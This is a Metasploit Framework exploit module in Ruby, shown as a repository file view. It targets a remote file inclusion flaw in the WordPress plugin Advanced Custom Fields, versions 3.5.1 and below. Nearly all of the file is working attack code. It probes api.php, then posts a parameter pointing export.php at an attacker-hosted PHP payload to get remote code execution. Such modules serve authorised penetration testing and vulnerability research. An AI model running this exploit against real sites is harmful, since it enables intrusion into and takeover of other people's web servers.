Charlie Eriksen
6fb2130265
It suddenly jumped at me that there was a missing space in the module info. Couldn't unsee.
97 lines
2.4 KiB
Ruby
97 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer::PHPInclude
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
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'Description' => %q{
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This module exploits a remote file inclusion flaw in the WordPress
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blogging software plugin known as Advanced Custom Fields. The vulnerability allows for
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remote file inclusion and remote code execution via the export.php script. The
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Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable.
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},
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'Author' =>
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[
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'Charlie Eriksen',
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '87353'],
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['URL', 'http://secunia.com/advisories/51037/'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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'Space' => 262144, # 256k
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Nov 14 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
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], self.class)
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end
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def check
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}wp-content/plugins/advanced-custom-fields/core/api.php"
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})
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if res and res.code == 200
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def php_exploit
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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plugin_path = 'wp-content/plugins/advanced-custom-fields/core/actions/export.php'
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print_status('Sending request')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}#{plugin_path}",
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'data' => "acf_abspath=#{php_include_url}"
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})
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if res and res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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end
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handler
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end
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end
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